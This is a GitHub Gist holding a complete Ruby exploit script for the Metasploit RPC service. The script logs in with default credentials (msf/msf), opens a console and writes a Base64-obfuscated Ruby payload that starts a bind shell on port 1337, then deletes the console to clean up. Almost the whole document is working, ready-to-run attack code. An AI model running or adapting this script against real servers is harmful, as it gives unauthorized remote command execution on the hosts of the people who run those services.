Created
July 5, 2017 14:55
-
-
Save bcoles/dd1af28c923191e978cd283013ce38ac to your computer and use it in GitHub Desktop.
Metasploit RPC post-auth command execution exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
################################################################################ | |
# Metasploit RPC post-auth command execution exploit # | |
################################################################################ | |
# ~ bcoles | |
require 'msfrpc-client' # gem install msfrpc-client | |
require 'base64' | |
@host = '127.0.0.1' | |
@port = '55552' | |
@user = 'msf' | |
@pass = 'msf' | |
@ssl = true | |
@bind_port = 1337 | |
def main | |
connect | |
get_version | |
create_console | |
execute | |
cleanup | |
puts | |
puts "+ Done! You should now have a shell on #{@host}:#{@bind_port}" | |
end | |
def connect | |
puts "* Connecting to #{@host}:#{@port}#{@ssl ? ' (SSL)' : ''}..." | |
begin | |
@rpc = Msf::RPC::Client.new :host => @host, | |
:port => @port, | |
:user => @user, | |
:pass => @pass, | |
:ssl => @ssl | |
rescue => e | |
puts '- Error: connection failed:' | |
puts e.to_s | |
exit 1 | |
end | |
puts '+ Connected successfully' | |
if @rpc.token.nil? | |
puts '- Error: authentication failed' | |
exit 1 | |
end | |
@token = @rpc.token | |
puts '+ Authenticated successfully' | |
puts "* Received temporary token: #{@token}" | |
puts | |
end | |
def get_version | |
version = @rpc.call 'core.version' | |
puts '--- Server:' | |
puts "* Metasploit #{version['version']}" | |
puts "* Ruby #{version['ruby']}" | |
puts "* API #{version['api']}" | |
puts | |
end | |
def create_console | |
res = @rpc.call 'console.create' | |
if res.nil? | |
puts '- Error: connection failed' | |
exit 1 | |
end | |
unless res['id'].to_s =~ /\A\d+\z/ | |
puts '- Error: could not create console' | |
puts res.to_s | |
exit 1 | |
end | |
@console_id = res['id'] | |
puts "+ Created console ##{@console_id}" | |
end | |
def execute | |
puts '* Sending payload...' | |
res = @rpc.call 'console.write', @console_id, "\r\n#{payload}\r\n" | |
if res.nil? | |
puts '- Error: connection failed' | |
exit 1 | |
end | |
unless res['wrote'].to_s =~ /\A\d+\z/ | |
puts "- Error: could not write to console #{@console_id}:" | |
puts res.to_s | |
exit 1 | |
end | |
puts "+ Wrote #{res['wrote']} bytes to console" | |
end | |
def payload | |
bind_tcp = "code = %(#{Base64.strict_encode64("require 'socket';s=TCPServer.new(#{@bind_port});c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,'rb'){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }")}).unpack(%(m0)).first | |
if RUBY_PLATFORM =~ /mswin|mingw|win32/ | |
inp = IO.popen(%(ruby), %(wb)) rescue nil | |
if inp | |
inp.write(code) | |
inp.close | |
end | |
else | |
if ! Process.fork() | |
eval(code) rescue nil | |
end | |
end" | |
"ruby -e 'eval(%[#{Base64.strict_encode64(bind_tcp)}].unpack(%[m0]).first)'" | |
end | |
def cleanup | |
puts '* Removing console...' | |
res = @rpc.call 'console.destroy', @console_id | |
if res.nil? | |
puts '- Error: connection failed' | |
end | |
unless res['result'].eql? 'success' | |
puts "- Error: could not destroy console ##{@console_id}:" | |
puts res.to_s | |
exit 1 | |
end | |
puts "+ Destroyed console ##{@console_id}" | |
end | |
puts 'Metasploit RPC post-auth command execution exploit' | |
puts | |
main |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment